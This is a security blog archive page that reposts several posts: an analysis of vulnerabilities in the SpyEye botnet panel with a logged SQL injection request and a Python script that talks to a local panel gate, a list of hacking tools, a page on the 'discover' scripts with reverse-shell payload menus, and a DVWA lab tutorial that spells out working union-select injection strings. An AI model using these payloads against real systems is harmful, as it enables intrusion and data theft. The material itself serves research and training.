domingo, 26 de abril de 2020

Attacking Financial Malware Botnet Panels - SpyEye

This is the second blog post in the "Attacking financial malware botnet panels" series. After playing with Zeus, my attention turned to another old (and dead) botnet, SpyEye. From an ITSEC perspective, SpyEye shares a lot of vulnerabilities with Zeus. 

The following report is based on SpyEye 1.3.45, which is old, and if we are lucky, the whole SpyEye branch will be dead soon. 

Google dorks to find SpyEye C&C server panel related stuff:

  • if the img directory gets indexed, it is rather easy, search for e.g. inurl:b-ftpbackconnect.png
  • if the install directory gets indexed, again, easy, search for e.g. inurl:spylogo.png
  • also, if you find a login screen, check the css file (style.css), and you see #frm_viewlogs, #frm_stat, #frm_botsmon_country, #frm_botstat, #frm_gtaskloader and stuff like that, you can be sure you found it
  • otherwise, it is the best not to Google for it, but get a SpyEye sample and analyze it
And this is how the control panel login looks like, nothing sophisticated:


The best part is that you don't have to guess the admin's username ;)

This is how an average control panel looks like:


Hack the Planet! :)

Boring vulns found (warning, an almost exact copy from the Zeus blog post)


  • Clear text HTTP login - you can sniff the login password via MiTM, or steal the session cookies
  • No password policy - admins can set up really weak passwords
  • No anti brute-force - you can try to guess the admin's password. There is no default username, as there is no username handling!
  • Password autocomplete enabled - boring
  • Missing HttpOnly flag on session cookie - interesting when combining with XSS
  • No CSRF protection - e.g. you can upload new exe, bin files, turn plugins on/off :-( boring. Also the file extension check can be bypassed, but the files are stored in the database, so no PHP shell this time. If you check the following code, you can see that even the file extension and type is checked, and an error is shown, but the upload process continues. And even if the error would stop the upload process, the check can be fooled by setting an invalid $uptype. Well done ...
        if ($_FILES['file']['tmp_name'] && ($_FILES['file']['size'] > 0))
        {
                $outstr = "<br>";
                set_time_limit(0);
                $filename = str_replace(" ","_",$_FILES['file']['name']);
                $ext = substr($filename, strrpos($filename, '.')+1);
                if( $ext==='bin' && $uptype!=='config' ) $outstr .= "<font class='error'>Bad CONFIG extension!</font><br>";
                if( $ext==='exe' && $uptype!=='body' && $uptype!=='exe' ) $outstr .= "<font class='error'>Bad extension!</font><br>";

                switch( $uptype )
                {
                case 'body': $ext = 'b'; break;
                case 'config': $ext = 'c'; break;
                case 'exe': $ext = 'e'; break;
                default: $ext = 'e';
                }
                $_SESSION['file_ext'] = $ext;
                if( isset($_POST['bots']) && trim($_POST['bots']) !== '')
              {
                        $bots = explode(' ', trim($_POST['bots']));
                        //writelog("debug.log", trim($_POST['bots']));
                      $filename .= "_".(LastFileId()+1);
                }
                if( FileExist($filename) ) $filename .= LastFileId();
                $tmpName  = $_FILES['file']['tmp_name'];
                $fileSize = $_FILES['file']['size'];
                $fileType = $_FILES['file']['type'];
                ## reading all file for calculating hash
                $fp = fopen($tmpName, 'r');
  • Clear text password storage - the MySQL passwords are stored in php files, in clear text. Also, the login password to the form panel is stored in clear text.
  • MD5 password - the passwords stored in MySQL are MD5 passwords. No PBKDF2, bcrypt, scrypt, salt, whatever. MD5. Just look at the pure simplicity of the login check, great work!
$query = "SELECT * FROM users_t WHERE uPswd='".md5($pswd)."'";
  • ClickJacking - really boring stuff

    SQL injection


    SpyEye has a fancy history of SQL injections. See details here, here, here, video here and video here.

    It is important to highlight the fact that most of the vulnerable functions are reachable without any authentication, because these PHP files lack user authentication at the beginning of the files.

    But if a C&C server owner gets pwned through this vuln, it is not a good idea to complain to the developer, because after careful reading of the install guide, one can see:

    "For searching info in the collector database there is a PHP interface as formgrabber admin panel. The admin panel is not intended to be found on the server. This is a client application."

    And there are plenty of reasons not to install the formgrabber admin panel on any internet reachable server. But this fact leads to another possible vulnerability. The user for this control panel is allowed to remotely login to the MySQL database, and the install guide has pretty good passwords to be reused. I mean it looks pretty secure, there is no reason not to use that.

    CREATE USER 'frmcpviewer' IDENTIFIED BY 'SgFGSADGFJSDGKFy2763272qffffHDSJ';

    Next time you find a SpyEye panel, and you can connect to the MySQL database, it is worth a shot to try this password.

    Unfortunately the default permissions for this user is not enough to write files (select into outfile):

    Access denied for user 'frmcpviewer' (using password: YES)

    I also made a little experiment with this SQL injection vulnerability. I did set up a live SpyEye botnet panel, created the malware install binaries (droppers), and sent the droppers to the AV companies. And after more and more sandboxes connected to my box, someone started to exploit the SQL injection vulnerability on my server!

    63.217.168.90 - - [16/Jun/2014:04:43:00 -0500] "GET /form/frm_boa-grabber_sub.php?bot_guid=&lm=3&dt=%20where%201=2%20union%20select%20@a:=1%20from%20rep1%20where%20@a%20is%20null%20union%20select%20@a:=%20@a%20%2b1%20union%20select%20concat(id,char(1,3,3,7),bot_guid,char(1,3,3,7),process_name,char(1,3,3,7),hooked_func,char(1,3,3,7),url,char(1,3,3,7),func_data)%20from%20rep2_20140610%20where%20@a=3%23 HTTP/1.1" 200 508 "-" "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)"

    Although the query did not return any meaningful data to the attacker (only data collected from sandboxes), it raises some legal questions.

    Which company/organization has the right to attack my server? 
    • police (having a warrant)
    • military (if we are at war)
    • spy agencies (always/never, choose your favorite answer)
    • CERT organisations?

    But, does an AV company or security research company has the legal right to attack my server? I don't think so... The most problematic part is when they hack a server (without authorization), and sell the stolen information in the name of "intelligence service". What is it, the wild wild west?

    The SQLi clearly targets the content of the stolen login credentials. If this is not an AV company, but an attacker, how did they got the SpyEye dropper? If this is an AV company, why are they stealing the stolen credentials? Will they notify the internet banking owners about the stolen credentials for free? Or will they do this for money?

    And don't get me wrong, I don't want to protect the criminals, but this is clearly a grey area in the law. From an ethical point of view, I agree with hacking the criminal's servers. As you can see, the whole post is about disclosing vulns in these botnet panels. But from a legal point of view, this is something tricky ... I'm really interested in the opinion of others, so comments are warmly welcome.

    On a side note, I was interested how did the "attackers" found the SpyEye form directory? Easy, they brute-forced it, with a wordlist having ~43.000 entries.

    (Useless) Cross site scripting


    Although parts of the SpyEye panel are vulnerable to XSS, it is unlikely that you will to find these components on the server, as these codes are part of the install process, and the installer fails to run if a valid install is found. And in this case, you also need the DB password to trigger the vuln...



    Session handling


    This is a fun part. The logout button invalidates the session only on the server side, but not on the client side. But if you take into consideration that the login process never regenerates the session cookies (a.k.a session fixation), you can see that no matter how many times the admin logs into the application, the session cookie remains the same (until the admin does not close the browser). So if you find a session cookie which was valid in the past, but is not working at the moment, it is possible that this cookie will be valid in the future ...

    Binary server


    Some parts of the SpyEye server involve running a binary server component on the server, to collect the form data. It would be interesting to fuzz this component (called sec) for vulns.

    Log files revealed


    If the form panel mentioned in the SQLi part is installed on the server, it is worth visiting the <form_dir>/logs/error.log file, you might see the path of the webroot folder, IP addresses of the admins, etc.

    Reading the code


    Sometimes reading the code you can find code snippets, which is hard to understand with a clear mind:

    $content = fread($fp, filesize($tmpName));
    if ( $uptype === 'config' )
        $md5 = GetCRC32($content);
    else $md5 = md5($content);
    ....
    <script>
    if (navigator.userAgent.indexOf("Mozilla/4.0") != -1) {
    alert("Your browser is not support yet. Please, use another (FireFox, Opera, Safari)");
    document.getElementById("div_main").innerHTML = "<font class=\'error\'>ChAnGE YOuR BRoWsEr! Dont use BUGGED Microsoft products!</font>";
    }
    </script>

    Decrypting SpyEye communication

    It turned out that the communication between the malware and C&C server is not very sophisticated (Zeus does a better job at it, because the RC4 key stream is generated from the botnet password).

    function DeCode($content)
    {
    $res = '';
    for($i = 0; $i < strlen($content); $i++)
    {
    $num = ord($content[$i]);
    if( $num != 219) $res .= chr($num^219);
    }
    return $res;
    }
    Fixed XOR key, again, well done ...
    This means that it is easy to create a script, which can communicate with the SpyEye server. For example this can be used to fill in the SpyEye database with crap data.


    import binascii
    import requests
    import httplib, urllib

    def xor_str(a, b):
    i = 0
    xorred = ''
    for i in range(len(a)):
    xorred += chr(ord(a[i])^b)
    return xorred

    b64_data= "vK6yv+bt9er17O3r6vqPnoiPjZb2i5j6muvo6+rjmJ/9rb6p5urr6O/j/bK+5uP16/Xs7evq9ers7urv/bSo5u316vXs7evq/a6v5pq/trK1/bi4qbjm453j6uPv7Or9tr/u5um+uuvpve3p7eq/4+vsveLi7Lnqvrjr6ujs7rjt7rns/au3vOa5sre3srW8s7q2tr6p4Lm3tLiw4LmuvKm+q7Spr+C4uPu8qbq5ub6p4Li4vKm6ubm+qeC4qb6/sq+8qbq54LiuqK+0tri0tbW+uK+0qeC/v7So4L+1qLqrsuC+trqyt7ypurm5vqngvb24vqmvvKm6ubm+qeC9/aivuq/mtLW3srW+"
    payload =xor_str (binascii.a2b_base64(b64_data), 219)
    print ("the decrypted payload is: " + payload)
    params = (binascii.b2a_base64(xor_str(payload,219)))
    payload = {'data': params}
    r = requests.post("http://spyeye.localhost/spyeye/_cg/gate.php", data=payload)

    Morale of the story?


    Criminals produce the same shitty code as the rest of the world, and thanks to this, some of the malware operators get caught and are behind bars now. And the law is behind the reality, as always.

    More info

    viernes, 24 de abril de 2020

    Top 10 Most Popular Ethical Hacking Tools (2019 Ranking)

         Top 10 powerful Hacking  Tools in 2019.       

    If hacking is performed to identify the potential threats to a computer or network then it will be an ethical hacking.

    Ethical hacking is also called penetration testing, intrusion testing, and red teaming.

    Hacking is the process of gaining access to a computer system with the intention of fraud, data stealing, and privacy invasion etc., by identifying its weaknesses.

    Ethical Hackers:

    A person who performs the hacking activities is called a hacker.

    There are six types of hackers:

    • The Ethical Hacker (White hat)
    • Cracker
    • Grey hat
    • Script kiddies
    • Hacktivist
    • Phreaker

    A security professional who uses his/her hacking skills for defensive purposes is called an ethical hacker. To strengthen the security, ethical hackers use their skills to find vulnerabilities, document them, and suggest the ways to rectify them.

    Companies that provide online services or those which are connected to the internet, must perform penetration testing by ethical hackers. Penetration testing is another name of ethical hacking. It can be performed manually or through an automation tool.

    Ethical hackers work as an information security expert. They try to break the security of a computer system, network, or applications. They identify the weak points and based on that, they give advice or suggestions to strengthen the security.

    Programming languages that are used for hacking include PHP, SQL, Python, Ruby, Bash, Perl, C, C++, Java, VBScript, Visual Basic, C Sharp, JavaScript, and HTML.

    Few Hacking Certifications include:

    1. CEH
    2. GIAC
    3. OSCP
    4. CREST

    Let's Explore!!

    #1) Nmap

    Nmap

    Price: Free

    Description:

    Nmap is a security scanner, port scanner, as well as a network exploration tool. It is an open source software and is available for free.

    It supports cross-platform. It can be used for network inventory, managing service upgrade schedules, and for monitoring host & service uptime. It can work for a single host as well as large networks. It provides binary packages for Linux, Windows, and Mac OS X.

    Features: 

    • Nmap suite has:
      • Data transfer, redirection, and debugging tool(Ncat),
      • Scan results comparing utility(Ndiff),
      • Packet generation and response analysis tool (Nping),
      • GUI and Results viewer (Nping)
    • Using raw IP packets it can determine:
      • The available hosts on the network.
      • Their services offered by these available hosts.
      • Their OS.
      • Packet filters they are using.
      • And many other characteristics.

    Best for: Nmap is best for scanning network. It is easy to use and fast as well.

    Website: Nmap

    ******************

    #2) Netsparker

    Netsparker Vulnerability-Assessments-and-Penetration-Tests

    Netsparker is a dead accurate ethical hacking tool, that mimics a hacker's moves to identify vulnerabilities such as SQL Injection and Cross-site Scripting in web applications and web APIs. 
     
    Netsparker uniquely verifies the identified vulnerabilities proving they are real and not false positives, so you do not need to waste hours manually verifying the identified vulnerabilities once a scan is finished.
     
    It is available as a Windows software and an online service.

    ******************

    #3) Acunetix 

    Acunetix Dashboard

    Acunetix is a fully automated ethical hacking tool that detects and reports on over 4500 web application vulnerabilities including all variants of SQL Injection and XSS.

    The Acunetix crawler fully supports HTML5 and JavaScript and Single-page applications, allowing auditing of complex, authenticated applications.

    It bakes in advanced Vulnerability Management features right-into its core, prioritizing risks based on data through a single, consolidated view, and integrating the scanner's results into other tools and platforms.

    => Visit Acunetix Official Website

    ******************

    #4) Metasploit

    Metasploit

    Price: Metasploit Framework is an open source tool and it can be downloaded for free. Metasploit Pro is a commercial product. Its free trial is available for 14 days. Contact the company to know more about its pricing details.

    Description:


    It is the software for penetration testing. Using Metasploit Framework, you can develop and execute exploit code against a remote machine. It supports cross-platform.

    Features: 

    • It is useful for knowing about security vulnerabilities.
    • Helps in penetration testing.
    • Helps in IDS signature development.
    • You can create security testing tools.

    Best For Building anti-forensic and evasion tools.

    Website: Metasploit

    #5) Aircrack-Ng

    aircrack-ng

    Price: Free

    Description:

    Aircrack-ng provides different tools for evaluating Wi-Fi network security.

    All are command line tools. For Wi-Fi security, it focuses on monitoring, attacking, testing, and cracking. It supports Linux, Windows, OS X, Free BSD, NetBSD, OpenBSD, Solaris, and eComStation 2.

    Features:


    • Aircrack-ng can focus on Replay attacks, de-authentication, fake access points, and others.
    • It supports exporting data to text files.
    • It can check Wi-Fi cards and driver capabilities.
    • It can crack WEP keys and for that, it makes use of FMS attack, PTW attack, and dictionary attacks.
    • It can crack WPA2-PSK and for that, it makes use of dictionary attacks.

    Best For: Supports any wireless network interface controller.

    Website: Aircrack-Ng

    #6) Wireshark

    Wireshark

    Price: Free

    Description:

    Wireshark is a packet analyzer and can perform deep inspection of many protocols.

    It supports cross-platform. It allows you to export the output to different file formats like XML, PostScript, CSV, and Plaintext. It provides the facility to apply coloring rules to packet list so that analysis will be easier and quicker. The above image will show the capturing of packets.

    Features:

    • It can decompress the gzip files on the fly.
    • It can decrypt many protocols like IPsec, ISAKMP, and SSL/TLS etc.
    • It can perform live capture and offline analysis.
    • It allows you to browse the captured network data using GUI or TTY-mode TShark utility.

    Best For: Analyzing data packets.

    Website: Wireshark

    #7) Ettercap

    Ettercap

    Price: Free.

    Description:

    Ettercap supports cross-platform. Using Ettercap's API, you can create custom plugins. Even with the proxy connection, it can do sniffing of HTTP SSL secured data.

    Features:

    • Sniffing of live connections.
    • Content filtering.
    • Active and passive dissection of many protocols.
    • Network and host analysis.

    Best For: It allows you to create custom plugins.

    Website: Ettercap

    #8) Maltego

    Maltego

    Price: The Community version, Maltego CE is available for free. Price for Maltego Classic is $999. Price for Maltego XL is $1999. These two products are for the desktop. Price for the server products like CTAS, ITDS, and Comms starts at $40000, which includes training as well.

    Description:

    Maltego is a tool for link analysis and data mining. It supports Windows, Linux, and Mac OS.

    For the discovery of data from open sources and visualizing the information in graphical format, it provides the library of transforms. It performs real-time data-mining and information gathering.

    Features:

    • Represents the data on node-based graph patterns.
    • Maltego XL can work with large graphs.
    • It will provide you the graphical picture, thereby telling you about the weak points and abnormalities of the network.

    Best For: It can work with very large graphs.

    Website: Maltego

    #9) Nikto

    Nikto

    Price: Free

    Description:

    Nikto is an open source tool for scanning the web server.

    It scans the web server for dangerous files, outdated versions, and particular version related problems. It saves the report in a text file, XML, HTML, NBE, and CSV file formats. Nikto can be used on the system which supports basic Perl installation. It can be used on Windows, Mac, Linux, and UNIX systems.

    Features:

    • It can check web servers for over 6700 potentially dangerous files.
    • It has full HTTP proxy support.
    • Using Headers, favicons, and files, it can identify the installed software.
    • It can scan the server for outdated server components.

    Best For: As a Penetration Testing tool.

    Website: Nikto

    #10) Burp Suite

    BurpSuite

    Price: It has three pricing plans. Community edition can be downloaded for free. Pricing for Enterprise edition starts at $3999 per year. Price of the Professional edition starts at $399 per user per year.

    Description:

    Burp Suite has a web vulnerability scanner and has advanced and essential manual tools.

    It provides many features for web application security. It has three editions, community, enterprise, and professional. With community editions, it provides essential manual tools. With the paid versions it provides more features like Web vulnerabilities scanner.

    Features:

    • It allows you to schedule and repeats the scan.
    • It scans for 100 generic vulnerabilities.
    • It uses out-of-band techniques (OAST).
    • It provides detailed custom advisory for the reported vulnerabilities.
    • It provides CI Integration.

    Best For: Security testing.

    Website: Burp Suite

    #11) John The Ripper

    John-the-Ripper

    Price: Free

    Description:

    John the Ripper is a tool for password cracking. It can be used on Windows, DOS, and Open VMS. It is an open source tool. It is created for detecting weak UNIX passwords.

    Features:

    • John the Ripper can be used to test various encrypted passwords.
    • It performs dictionary attacks.
    • It provides various password crackers in one package.
    • It provides a customizable cracker.

    Best For: It is fast in password cracking.

    Website:  John the Ripper

    #12) Angry IP Scanner

    AngryIPScanner

    Price: Free

    Description:

    Angry IP Scanner is a tool for scanning the IP addresses and ports. It can scan both on local network and Internet. It supports Windows, Mac, and Linux operating systems.

    Features:

    • It can export the result in many formats.
    • It is a command-line interface tool.
    • It is extensible with many data fetchers.

    Website:  Angry IP Scanner

    Conclusion

    As explained here, Nmap is used for computer security and network management. It is good for scanning the network. Metasploit is also for security and is good for building anti-forensic and evasion tools.

    Aircrack-Ng is a free packet sniffer & injector and supports cross-platform. Wireshark is a packet analyzer and is good in analyzing data packets. As per the reviews available online, people recommend using Nmap instead of Angry IP scanner as Angry IP Scanner comes with unwanted applications.

    John the Ripper is fast in password cracking. Nikto is a good open source tool for penetration testing. Maltego presents the data in a graphical form and will give you information about weak points and abnormalities.

    This was all about the ethical hacking and the top ethical hacking tools. Hope you will find this article to be much useful!!

    @EVERYTHING NT

    Related articles


    1. Que Estudiar Para Ser Hacker
    2. Hacking Hardware
    3. Hardware Hacking Tools
    4. Ingeniería Social. El Arte Del Hacking Personal Pdf

    Pcap Of Wannacry Spreading Using EthernalBlue

    Saw that a lot of people were looking for a pcap with WannaCry spreading Using EthernalBlue.

    I have put together a little "petri dish" test environment and started looking for a sample that has the exploit. Some samples out there simply do not have the exploit code, and even tough they will encrypt the files locally, sometimes the mounted shares too, they would not spread.

    Luckily, I have found this nice blog post from McAfee Labs: https://securingtomorrow.mcafee.com/mcafee-labs/analysis-wannacry-ransomware/ with the reference to the sample SHA256: 24d004a104d4d54034dbcffc2a4b19a11f39008a575aa614ea04703480b1022c (they keep referring to samples with MD5, which is still a very-very bad practice, but the hash is MD5: DB349B97C37D22F5EA1D1841E3C89EB4)

    Once I got the sample from the VxStream Sandbox site, dropped it in the test environment, and monitored it with Security Onion. I was super happy to see it spreading, despite the fact that for the first run my Windows 7 x64 VM went to BSOD as the EthernalBlue exploit failed.

    But the second run was a full success, all my Windows 7 VMs got infected. Brad was so kind and made a guest blog post at one of my favorite sites, www.malware-traffic-analysis.net so you can find the pcap, description of the test environment and some screenshots here: http://malware-traffic-analysis.net/2017/05/18/index2.htmlRelated articles
    1. Hacking Academy
    2. White Hacking
    3. Elhacker Ip
    4. Libros Hacking
    5. Hacking Mac
    6. Hacking Python
    7. Hacking Udemy

    Testing SAML Endpoints For XML Signature Wrapping Vulnerabilities

    A lot can go wrong when validating SAML messages. When auditing SAML endpoints, it's important to look out for vulnerabilities in the signature validation logic. XML Signature Wrapping (XSW) against SAML is an attack where manipulated SAML message is submitted in an attempt to make the endpoint validate the signed parts of the message -- which were correctly validated -- while processing a different attacker-generated part of the message as a way to extract the authentication statements. Because the attacker can arbitrarily forge SAML assertions which are accepted as valid by the vulnerable endpoint, the impact can be severe. [1,2,3]

    Testing for XSW vulnerabilities in SAML endpoints can be a tedious process, as the auditor needs to not only know the details of the various XSW techniques, but also must handle a multitude of repetitive copy-and-paste tasks and apply the appropriate encoding onto each message. The latest revision of the XSW-Attacker module in our BurpSuite extension EsPReSSo helps to make this testing process easier, and even comes with a semi-automated mode. Read on to learn more about the new release! 

     SAML XSW-Attacker

    After a signed SAML message has been intercepted using the Burp Proxy and shown in EsPReSSO, you can open the XSW-Attacker by navigating to the SAML tab and then the Attacker tab.  Select Signature Wrapping from the drop down menu, as shown in the screenshot below:



    To simplify its use, the XSW-Attacker performs the attack in a two step process of initialization and execution, as reflected by its two tabs Init Attack and Execute Attack. The interface of the XSW-Attacker is depicted below.
    XSW-Attacker overview

    The Init Attack tab displays the current SAML message. To execute a signature wrapping attack, a payload needs to be configured in a way that values of the originally signed message are replaced with values of the attacker's choice. To do this, enter the value of a text-node you wish to replace in the Current value text-field. Insert the replacement value in the text-field labeled New value and click the Add button. Multiple values can be provided; however, all of which must be child nodes of the signed element. Valid substitution pairs and the corresponding XPath selectors are displayed in the Modifications Table. To delete an entry from the table, select the entry and press `Del`, or use the right-click menu.

    Next, click the Generate vectors button - this will prepare the payloads accordingly and brings the Execute Attack tab to the front of the screen.

    At the top of the Execute Attack tab, select one of the pre-generated payloads. The structure of the selected vector is explained in a shorthand syntax in the text area below the selector.
    The text-area labeled Attack vector is editable and can be used to manually fine-tune the chosen payload if necessary. The button Pretty print opens up a syntax-highlighted overview of the current vector.
    To submit the manipulated SAML response, use Burp's Forward button (or Go, while in the Repeater).

    Automating XSW-Attacker with Burp Intruder

    Burp's Intruder tool allows the sending of automated requests with varying payloads to a test target and analyzes the responses. EsPReSSO now includes a Payload Generator called XSW Payloads to facilitate when testing the XML processing endpoints for XSW vulnerabilities. The following paragraphs explain how to use the automated XSW attacker with a SAML response.

    First, open an intercepted request in Burp's Intruder (e.g., by pressing `Ctrl+i`). For the attack type, select Sniper. Open the Intruder's Positions tab, clear all payload positions but the value of the XML message (the `SAMLResponse` parameter, in our example). Note: the XSW-Attacker can only handle XML messages that contain exactly one XML Signature.
    Next, switch to the Payloads tab and for the Payload Type, select Extension-generated. From the newly added Select generator drop-down menu, choose XSW Payloads, as depicted in the screenshot below.



    While still in the Payloads tab, disable the URL-encoding checkbox in the Payload Encoding section, since Burp Intruder deals with the encoding automatically and should suffice for most cases.
    Click the Start Attack button and a new window will pop up. This window is shown below and is similar to the XSW Attacker's Init Attack tab.


    Configure the payload as explained in the section above. In addition, a schema analyzer can be selected and checkboxes at the bottom of the window allow the tester to choose a specific encoding. However, for most cases the detected presets should be correct.

    Click the Start Attack button and the Intruder will start sending each of the pre-generated vectors to the configured endpoint. Note that this may result in a huge number of outgoing requests. To make it easier to recognize the successful Signature Wrapping attacks, it is recommended to use the Intruder's Grep-Match functionality. As an example, consider adding the replacement values from the Modifications Table as a Grep-Match rule in the Intruder's Options tab. By doing so, a successful attack vector will be marked with a checkmark in the results table, if the response includes any of the configure grep rules.

    Credits

    EsPReSSO's XSW Attacker is based on the WS-Attacker [4] library by Christian Mainka and the original adoption for EsPReSSO has been implemented by Tim Günther.
    Our students Nurullah Erinola, Nils Engelberts and David Herring did a great job improving the execution of XSW and implementing a much better UI.

    ---

    [1] On Breaking SAML - Be Whoever You Want to Be
    [2] Your Software at My Service
    [3] Se­cu­ri­ty Ana­ly­sis of XAdES Va­li­da­ti­on in the CEF Di­gi­tal Si­gna­tu­re Ser­vices (DSS)
    [4] WS-Attacker

    Related word


    1. Ingeniería Social El Arte Del Hacking Personal
    2. Que Estudiar Para Ser Hacker
    3. Brain Hacking
    4. Ingeniería Social El Arte Del Hacking Personal
    5. Growth Hacking Tools
    6. Hacking Forums
    7. Como Ser Hacker

    jueves, 23 de abril de 2020

    Discover: A Custom Bash Scripts Used To Perform Pentesting Tasks With Metasploit


    About discover: discover is a custom bash scripts used to automate various penetration testing tasks including recon, scanning, parsing, and creating malicious payloads and listeners with Metasploit Framework. For use with Kali Linux, Parrot Security OS and the Penetration Testers Framework (PTF).

    About authors:


    discover Installation and Updating


    About RECON in discover
       Domain

    RECON

    1. Passive

    2. Active
    3. Import names into an existing recon-ng workspace
    4. Previous menu

       Passive uses ARIN, dnsrecon, goofile, goog-mail, goohost, theHarvester, Metasploit Framework, URLCrazy, Whois, multiple websites, and recon-ng.

       Active uses dnsrecon, WAF00W, traceroute, Whatweb, and recon-ng.
       [*] Acquire API keys for Bing, Builtwith, Fullcontact, GitHub, Google, Hashes, Hunter, SecurityTrails, and Shodan for maximum results with recon-ng and theHarvester.

    API key locations:

    recon-ng
       show keys
       keys add bing_api <value>

    theHarvester
       /opt/theHarvester/api-keys.yaml

       Person: Combines info from multiple websites.

    RECON

    First name:

    Last name:

       Parse salesforce: Gather names and positions into a clean list.

    Create a free account at salesforce (https://connect.data.com/login).
    Perform a search on your target company > select the company name > see all.
    Copy the results into a new file.

    Enter the location of your list:

    About SCANNING in discover
       Generate target list: Use different tools to create a target list including Angry IP Scanner, arp-scan, netdiscover and nmap pingsweep.

    SCANNING

    1. Local area network
    2. NetBIOS
    3. netdiscover
    4. Ping sweep
    5. Previous menu


       CIDR, List, IP, Range, or URL

    Type of scan:

    1. External

    2. Internal
    3. Previous menu

    • External scan will set the nmap source port to 53 and the max-rrt-timeout to 1500ms.
    • Internal scan will set the nmap source port to 88 and the max-rrt-timeout to 500ms.
    • Nmap is used to perform host discovery, port scanning, service enumeration and OS identification.
    • Matching nmap scripts are used for additional enumeration.
    • Addition tools: enum4linux, smbclient, and ike-scan.
    • Matching Metasploit auxiliary modules are also leveraged.

    About WEB in discover
       Insecure direct object reference

    Using Burp, authenticate to a site, map & Spider, then log out.
    Target > Site map > select the URL > right click > Copy URLs in this host.

    Paste the results into a new file.


    Enter the location of your file:

       Open multiple tabs in Firefox

    Open multiple tabs in Firefox with:

    1. List

    2. Directories from robots.txt.
    3. Previous menu

    • Use a list containing IPs and/or URLs.
    • Use wget to pull a domain's robot.txt file, then open all of the directories.

       Nikto

    Run multiple instances of Nikto in parallel.

    1. List of IPs.
    2. List of IP:port.
    3. Previous menu

       SSL: Use sslscan and sslyze to check for SSL/TLS certificate issues.

    Check for SSL certificate issues.

    Enter the location of your list:


    About MISC in discover
       Parse XML

    Parse XML to CSV.

    1. Burp (Base64)

    2. Nessus (.nessus)
    3. Nexpose (XML 2.0)
    4. Nmap
    5. Qualys
    6. revious menu

       Generate a malicious payload

    Malicious Payloads

    1. android/meterpreter/reverse_tcp
    2. cmd/windows/reverse_powershell
    3. java/jsp_shell_reverse_tcp (Linux)
    4. java/jsp_shell_reverse_tcp (Windows)
    5. linux/x64/meterpreter_reverse_https
    6. linux/x64/meterpreter_reverse_tcp
    7. linux/x64/shell/reverse_tcp
    8. osx/x64/meterpreter_reverse_https
    9. osx/x64/meterpreter_reverse_tcp
    10. php/meterpreter/reverse_tcp
    11. python/meterpreter_reverse_https 12. python/meterpreter_reverse_tcp
    13. windows/x64/meterpreter_reverse_https
    14. windows/x64/meterpreter_reverse_tcp
    15. Previous menu

       Start a Metasploit listener

    Metasploit Listeners

    1. android/meterpreter/reverse_tcp
    2. cmd/windows/reverse_powershell
    3. java/jsp_shell_reverse_tcp
    4. linux/x64/meterpreter_reverse_https
    5. linux/x64/meterpreter_reverse_tcp
    6. linux/x64/shell/reverse_tcp
    7. osx/x64/meterpreter_reverse_https
    8. osx/x64/meterpreter_reverse_tcp
    9. php/meterpreter/reverse_tcp
    10. python/meterpreter_reverse_https
    11. python/meterpreter_reverse_tcp
    12. windows/x64/meterpreter_reverse_https
    13. windows/x64/meterpreter_reverse_tcp
    14. Previous menu


    More articles

    Learning Web Pentesting With DVWA Part 2: SQL Injection

    In the last article Learning Web Pentesting With DVWA Part 1: Installation, you were given a glimpse of SQL injection when we installed the DVWA app. In this article we will explain what we did at the end of that article and much more.
    Lets start by defining what SQL injection is, OWASP defines it as: "A SQL injection attack consists of insertion or "injection" of a SQL query via the input data from the client to the application. A successful SQL injection exploit can read sensitive data from the database, modify database data (Insert/Update/Delete), execute administration operations on the database (such as shutdown the DBMS), recover the content of a given file present on the DBMS file system and in some cases issue commands to the operating system. SQL injection attacks are a type of injection attack, in which SQL commands are injected into data-plane input in order to effect the execution of predefined SQL commands."
    Which basically means that we can use a simple (vulnerable) input field in our web application to get information from the database of the server which hosts the web application. We can command and control (at certain times) the database of the web application or even the server.
    In this article we are going to perform SQL injection attack on DVWA, so let's jump in. On the DVWA welcome page click on SQL Injection navigation link. We are presented with a page with an input field for User ID.
    Now lets try to input a value like 1 in the input field. We can see a response from server telling us the firstname and surname of the user associated with User ID 1.
    If we try to enter a user id which doesn't exist, we get no data back from the server. To determine whether an input field is vulnerable to SQL injection, we first start by sending a single quote (') as input. Which returns an SQL error.
    We saw this in the previous article and we also talked about injection point in it. Before diving deeper into how this vulnerability can be exploited lets try to understand how this error might have occurred. Lets try to build the SQL query that the server might be trying to execute. Say the query looks something like this:
    SELECT first_name, sur_name FROM users WHERE user_id = '1';
    The 1 in this query is the value supplied by the user in the User ID input field. When we input a single quote in the User ID input field, the query looks like this:
    SELECT first_name, sur_name FROM users WHERE user_id = ''';
    The quotes around the input provided in the User ID input field are from the server side application code. The error is due to the extra single quote present in the query. Now if we specify a comment after the single quote like this:
    '-- -
    or
    '#
    we should get no error. Now our crafted query looks like this:
    SELECT first_name, sur_name FROM users WHERE user_id = ''-- -';
    or
    SELECT first_name, sur_name FROM users WHERE user_id = ''#';
    since everything after the # or -- - are commented out, the query will ignore the extra single quote added by the server side app and whatever comes after it and will not generate any error. However the query returns nothing because we specified nothing ('') as the user_id.
    After knowing how things might be working on the server side, we will start to attack the application.
    First of all we will try to determine the number of columns that the query outputs because if we try a query which will output the number of columns greater or smaller than what the original query outputs then our query is going to get an error. So we will first figure out the exact number of columns that the query outputs and we will do that with the help of order by sql statement like this:
    ' order by 1-- -
    This MySQL server might execute the query as:
    SELECT first_name, sur_name FROM users WHERE user_id = '' order by 1-- -';
    you get the idea now.
    if we don't get any error message, we will increase the number to 2 like this:
    ' order by 2-- -
    still no error message, lets add another:
    ' order by 3-- -
    and there we go we have an error message. Which tells us the number of columns that the server query selects is 2 because it erred out at 3.
    Now lets use the union select SQL statement to get information about the database itself.
    ' union select null, version()-- -
    You should first understand what a union select statement does and only then can you understand what we are doing here. You can read about it here.
    We have used null as one column since we need to match the number of columns from the server query which is two. null will act as a dummy column here which will give no output and the second column which in our case here is the version() command will output the database version. Notice the output from the application, nothing is shown for First name since we specified null for it and the maria db version will be displayed in Surname.
    Now lets check who the database user is using the user() function of mariadb:
    ' union select null, user()-- -
    After clicking the submit button you should be able to see the user of the database in surname.

    Now lets get some information about the databases in the database.
    Lets determine the names of databases from INFORMATION_SCHEMA.SCHEMATA by entering following input in the User ID field:
    ' union select null, SCHEMA_NAME from INFORMATION_SCHEMA.SCHEMATA-- -
    This lists two databases dvwa and information_schema. information_schema is the built in database. Lets look at the dvwa database.
    Get table names for dvwa database from INFORMATION_SCHEMA.TABLES
